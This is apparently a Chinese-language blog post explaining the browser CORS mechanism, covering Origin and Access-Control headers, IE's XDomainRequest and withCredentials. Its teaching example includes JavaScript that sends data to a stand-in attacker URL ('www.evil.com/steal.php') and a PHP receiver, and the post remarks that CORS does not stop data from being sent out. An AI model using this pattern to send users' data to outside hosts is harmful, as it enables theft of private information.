標籤:style blog http io ar color os 使用 sp
Ajax是嚴格遵守同源策略的,既不能從另一個域讀取資料,也不能發送資料到另一個域。但是,W3C的新標準中CORS(Cross Origin Resource Sharing)推進瀏覽器支援這樣的跨域方案。
這個方案過程如下 :
www.foo.com(來源域)的Ajax向www.evil.com(目標域)發起了請求,瀏覽器自動帶上Origin頭,如下:
Origin:http://www.foo.com
然後目標域要判斷這個Origin值,如果是自己預期的,那麼就返回:
Access-Control-Allow-Origin:http://www.foo.com
表示同意跨域。如果Access-Control-Allow-Origin之後是*萬用字元,則表示任意域都可以往目標跨。如果目標域不這樣做,瀏覽器獲得響應後沒發現Access-Control-Allow-Origin頭的存在,就會報類似下面這樣的許可權警告:
在IE下不使用XMLHttpRequest對象,而是XDomainRequest對象,執行個體化後,使用方式與XMLHttpRequest基本一致。 www.foo.com域上有如下代碼:
<script>function createCORSRequest(method,url){ var xhr=new XMLHttpRequest(); if("withCredentials" in xhr){ xhr.open(method,url,true); }else if(typeof XDomainRequest!="undefined"){ xhr=new XDomainRequest();//IE瀏覽器 xhr.open(method,url); }else{ xhr=null; } return xhr;}var request=createCORSRequest("get","http://www.evil.com/steal.php?data=222");if(request){ request.onload=function(){//請求成功後彈出響應內容 alert(request.responseText); }; request.send();}</script>
目標域上有 steal.php的代碼如下:
<?phpheader("Access-Control-Allow-Origin:http://www.foo.com");echo $_GET["data"];?>
跨域往目標域發起請求後,效果如下:
但是,其實,如果目標域不設定Access-Control-Allow-Origin:http://www.foo.com,隱私資料也會被偷到,因為實際上資料已經被目標域的steal.php接收到了。CORS的安全性原則僅僅在於是否允許用戶端擷取伺服器的返回資料,但並不會阻止用戶端發送的請求。也因此,用戶端可以使用XMLHttpRequest向任意網站發送跨域請求,拒絕服務。
另外,預設情況下,這樣的跨域無法帶上目標域的會話(Cookies等),需要設定xhr執行個體的withCredentials屬性為true(IE還不支援),同時目標域的steal.php必須設定如下:
<?phpheader("Access-Control-Allow-Origin:http://www.foo.com");header("Access-Control-Allow-Credentials:true");?>
同時還要注意,如果設定了Access-Control-Allow-Credentials為true,那麼Access-Control-Allow-Origin就不能設定為*萬用字元。這也是瀏覽器為了安全進行的考慮。
跨域(一)——CORS機制